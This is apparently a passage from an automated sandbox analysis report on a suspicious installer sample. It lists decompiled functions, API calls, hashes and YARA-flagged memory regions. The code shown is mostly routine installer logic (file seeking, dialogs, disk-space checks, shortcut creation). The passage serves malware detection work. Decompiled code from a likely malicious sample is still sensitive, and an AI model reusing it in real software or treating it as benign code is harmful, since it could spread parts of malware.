Opcode ID: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction ID: 1d0f09303225af8c469e983b8f6ba21d59f3f36861eec243a4bc5be8392dea83
Opcode Fuzzy Hash: 8557fc69485774ba4641c6a2d2b4437b1a5152abf7221d5f63999a85994ee7b6
Instruction Fuzzy Hash: 9EC09B71741700FBDE209B509F45F077794A754701F154979B741F60E0D775D410D62D

Uniqueness

Uniqueness Score: -1.00%

Function 004035F8 Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004035F8(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x00403606
0x0040360c

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032F6,?), ref: 00403606

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 004045F9 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045F9(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x42a268, 0x28, _a4, 1); // executed
				return _t2;
			}

0x00404607
0x0040460d

APIs

SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction ID: 26063d6d883ff380d2e1d7f9fe2b9d631bf033e6200e0a233fd0d302f8c02db7
Opcode Fuzzy Hash: 70666cfd2db8a5712e0e3ed728d50a5e19955e25533eceda6abdc0f56bdf790a
Instruction Fuzzy Hash: 5BB01235286A00FBDE614B00DE09F457E62F764B01F048078F741240F0CAB300B5DF19

Uniqueness

Uniqueness Score: -1.00%

Function 004045E6 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004045E6(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x423744, _a4); // executed
				return _t2;
			}

0x004045f0
0x004045f6

APIs

KiUserCallbackDispatcher.NTDLL(?,004043BD), ref: 004045F0

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction ID: 97f05af551d2e904d84950d91e3a9b28448307360fbef328a82585e9573e9e03
Opcode Fuzzy Hash: b9cabee76f1705efe6df0b682491f715d60f75bd340f366a7093c5de42737780
Instruction Fuzzy Hash: DBA001B6604500ABDE129F61EF09D0ABB72EBA4B02B418579A28590034CA365961FB1D

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D7(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402D84(_t7);
				 *((intOrPtr*)(_t13 - 0x10)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d7
0x004014d8
0x004014e1
0x004014e4
0x004014e8
0x004014e8
0x004014ea
0x00402c2d
0x00402c39

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 15a9c0a1a05cffc918dcbcc278dd47063fd183ee82f4bdf0f9578bef0d0e5dce
Instruction ID: bbd52a04332822db077aadb4670005be58b9dadf0e212328a8e92bdd2ddecc01
Opcode Fuzzy Hash: 15a9c0a1a05cffc918dcbcc278dd47063fd183ee82f4bdf0f9578bef0d0e5dce
Instruction Fuzzy Hash: 1BD05E73A141018BD714EBB8BE8545E73A8EB503193208837D442E1191E6788896861C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404AB5 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404AB5(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x422720;
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405CAC(0x3fb, _t146);
					E004068EF(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405CAC(0x3fb, _t146);
							if(E0040603F(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E00406668(0x421718, _t146);
							_t87 = E00406A35(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406668(0x421718, _t146);
								_t89 = E00405FE2(0x421718);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x421718,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x421718) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x421718,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405F83(0x421718);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x421718) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404F52(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x42923c + 0x10)) != _t158) {
									E00404F3A(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x421708);
									} else {
										E00404E71(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x42a304 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E004045E6(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x423738 == _t158) {
									E00404A0E();
								}
								 *0x423738 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423748;
							_v60 = E00404E0B;
							_v56 = _t146;
							_v68 = E004066A5(_t146, 0x423748, _t167, 0x421f20, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405F37(_t146);
								_t125 =  *((intOrPtr*)( *0x42a270 + 0x11c));
								if( *((intOrPtr*)( *0x42a270 + 0x11c)) != 0 && _t146 == L"C:\\Users\\Arthur\\AppData\\Local\\Temp") {
									E004066A5(_t146, 0x423748, _t167, 0, _t125);
									if(lstrcmpiW(0x428200, 0x423748) != 0) {
										lstrcatW(_t146, 0x428200);
									}
								}
								 *0x423738 =  *0x423738 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405FAE(_t146) != 0 && E00405FE2(_t146) == 0) {
						E00405F37(_t146);
					}
					 *0x429238 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E004045C4(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E004045C4(_t167);
					E004045F9(_t166);
					_t138 = E00406A35(8);
					if(_t138 == 0) {
						L53:
						return E0040462B(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404ab5
0x00404abb
0x00404ac1
0x00404ace
0x00404adc
0x00404adf
0x00404ae7
0x00404aed
0x00404aed
0x00404af9
0x00404afc
0x00404b6a
0x00404b71
0x00404c48
0x00404c4f
0x00404c5e
0x00404c5e
0x00404c62
0x00404c6c
0x00404c79
0x00404c7b
0x00404c7b
0x00404c89
0x00404c90
0x00404c97
0x00404c9a
0x00404cd6
0x00404cd8
0x00404cde
0x00404ce3
0x00404ce7
0x00404ce9
0x00404ce9
0x00404d05
0x00000000
0x00404d07
0x00404d0a
0x00404d18
0x00404d1e
0x00404d1f
0x00404d22
0x00404d25
0x00000000
0x00404d25
0x00404c9c
0x00404c9e
0x00404ca2
0x00000000
0x00000000
0x00000000
0x00000000
0x00404ca4
0x00404ca4
0x00404cb1
0x00404cb6
0x00000000
0x00000000
0x00404cba
0x00404cbc
0x00404cbc
0x00404cc5
0x00404cc7
0x00404ccc
0x00404ccf
0x00404cd4
0x00000000
0x00000000
0x00000000
0x00000000
0x00404cd4
0x00404d31
0x00404d3b
0x00404d3e
0x00404d41
0x00404d48
0x00404d48
0x00404d4a
0x00404d4a
0x00404d4f
0x00404d51
0x00404d59
0x00404d60
0x00404d62
0x00404d6d
0x00404d6d
0x00404d62
0x00404d7d
0x00404d87
0x00404d8f
0x00404daa
0x00404d91
0x00404d9a
0x00404d9a
0x00404d8f
0x00404daf
0x00404db4
0x00404db9
0x00404dc2
0x00404dc2
0x00404dcb
0x00404dcd
0x00404dcd
0x00404dd9
0x00404de1
0x00404deb
0x00404deb
0x00404df0
0x00000000
0x00404df0
0x00404c9a
0x00404c51
0x00404c58
0x00000000
0x00000000
0x00000000
0x00404c58
0x00404b77
0x00404b80
0x00404b9a
0x00404b9f
0x00404ba9
0x00404bb0
0x00404bbc
0x00404bbf
0x00404bc2
0x00404bc9
0x00404bd1
0x00404bd4
0x00404bd8
0x00404bdf
0x00404be7
0x00404c41
0x00404be9
0x00404bea
0x00404bf1
0x00404bfb
0x00404c03
0x00404c10
0x00404c24
0x00404c28
0x00404c28
0x00404c24
0x00404c2d
0x00404c3a
0x00404c3a
0x00404be7
0x00000000
0x00404b9f
0x00404b8d
0x00000000
0x00000000
0x00404b93
0x00000000
0x00404afe
0x00404b0b
0x00404b14
0x00404b21
0x00404b21
0x00404b28
0x00404b2e
0x00404b37
0x00404b3a
0x00404b3d
0x00404b45
0x00404b48
0x00404b4b
0x00404b51
0x00404b58
0x00404b5f
0x00404df6
0x00404e08
0x00404b65
0x00404b68
0x00000000
0x00404b68
0x00404b5f

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404B04
SetWindowTextW.USER32(00000000,?), ref: 00404B2E
SHBrowseForFolderW.SHELL32(?), ref: 00404BDF
CoTaskMemFree.OLE32(00000000), ref: 00404BEA
lstrcmpiW.KERNEL32(Call,00423748,00000000,?,?), ref: 00404C1C
lstrcatW.KERNEL32(?,Call), ref: 00404C28
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404C3A

Part of subcall function 00405CAC: GetDlgItemTextW.USER32(?,?,00000400,00404C71), ref: 00405CBF

Part of subcall function 004068EF: CharNextW.USER32(?,*?|<>/":,00000000,00000000,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406952
Part of subcall function 004068EF: CharNextW.USER32(?,?,?,00000000,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406961
Part of subcall function 004068EF: CharNextW.USER32(?,00000000,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406966
Part of subcall function 004068EF: CharPrevW.USER32(?,?,767C3420,C:\Users\user\AppData\Local\Temp\,?,0040361B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00406979

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404CFD
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404D18

Part of subcall function 00404E71: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404F12
Part of subcall function 00404E71: wsprintfW.USER32 ref: 00404F1B
Part of subcall function 00404E71: SetDlgItemTextW.USER32(?,00423748), ref: 00404F2E

Strings

A, xrefs: 00404BD8
H7B, xrefs: 00404BB2
C:\Users\user\AppData\Local\Temp, xrefs: 00404C05
Call, xrefs: 00404C16, 00404C1B, 00404C26

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Local\Temp$Call$H7B
API String ID: 2624150263-3840399979
Opcode ID: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction ID: 9155a42c54a3203d4d9709c494e168d8d926bd307d67cbb08bf4d9f42020e7e3
Opcode Fuzzy Hash: cafbbb3b6b33e648c9f94ba13bd1897e858c1dbc17bb594ac49896ccdcf60781
Instruction Fuzzy Hash: 94A171F1900219ABDB11EFA5CD41AAFB7B8EF84315F11843BF601B62D1D77C8A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405FAE( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\Arthur\\AppData\\Local\\Temp");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Strings

C:\Users\user\AppData\Local\Temp, xrefs: 00402269

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Temp
API String ID: 542301482-670666241
Opcode ID: bf3cff04906a8fef3a301f9eed657051bf574afb9f0f1a3cc87761232435f051
Instruction ID: f110e38d5ccd8909b9e85e2ea6b1342c5fae2602ce40754bea02e3b472428d32
Opcode Fuzzy Hash: bf3cff04906a8fef3a301f9eed657051bf574afb9f0f1a3cc87761232435f051
Instruction Fuzzy Hash: BC411771A00209EFCF40DFE4C989E9D7BB5BF49304B20456AF505EB2D1DB799981CB94

Uniqueness

Uniqueness Score: -1.00%

Function 032D4297 Relevance: 3.2, Strings: 2, Instructions: 688COMMON

Download Yara Rule

Strings

JL0q, xrefs: 032D4446
JL0q, xrefs: 032D444B

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: JL0q$JL0q
API String ID: 1029625771-4206232515
Opcode ID: 652f5c6e7d7802e293d2f3b2578ac7edef8113a89d3b789ce30dffc9ec4c5ab1
Instruction ID: 02f7a49d216799a9ccbda8aa742f2996f587d4ee2685ec806e2344d0c029950f
Opcode Fuzzy Hash: 652f5c6e7d7802e293d2f3b2578ac7edef8113a89d3b789ce30dffc9ec4c5ab1
Instruction Fuzzy Hash: B732FF31A2438A9FDF35DE3888A53D677A6EF12350F58026ECC859F542D73199C6CB82

Uniqueness

Uniqueness Score: -1.00%

Function 032C0700 Relevance: 3.1, Strings: 2, Instructions: 566COMMON

Download Yara Rule

Strings

]B:, xrefs: 032C0739
aH, xrefs: 032D1AF4

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: ]B:$aH
API String ID: 0-1000640345
Opcode ID: 83adc71423b591795d07d185c38336e737ad72178b6ba852cae982e1ab365bd3
Instruction ID: 8a1a2c5242dace074445087ec3e8bc1f8045cf938362048e112f707b9bb54442
Opcode Fuzzy Hash: 83adc71423b591795d07d185c38336e737ad72178b6ba852cae982e1ab365bd3
Instruction Fuzzy Hash: B2F10560B92383EBD649AB2D48109D7B79EBF72E74358486FC401AB791FF50A85D86C0

Uniqueness

Uniqueness Score: -1.00%

Function 032C5A11 Relevance: 2.8, Strings: 2, Instructions: 337COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
String ID: +vV;$Z!.Y
API String ID: 0-316936589
Opcode ID: 079a828d3a34e23ae1c724e5c5d1433308c2ba4a7c51cd336c43223b60427ee8
Instruction ID: 6c8cd0f81f3bbc004bd93f24757da3635f6ee1308c42d05f634de27f4472bcb9
Opcode Fuzzy Hash: 079a828d3a34e23ae1c724e5c5d1433308c2ba4a7c51cd336c43223b60427ee8
Instruction Fuzzy Hash: 76B1697166038ACFCF358E298D943DA37A7EF96260F69422ECC954B106D37195C6CB42

Uniqueness

Uniqueness Score: -1.00%

Function 032C575E Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

Z!.Y, xrefs: 032C5554
+vV;, xrefs: 032C5919

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID:
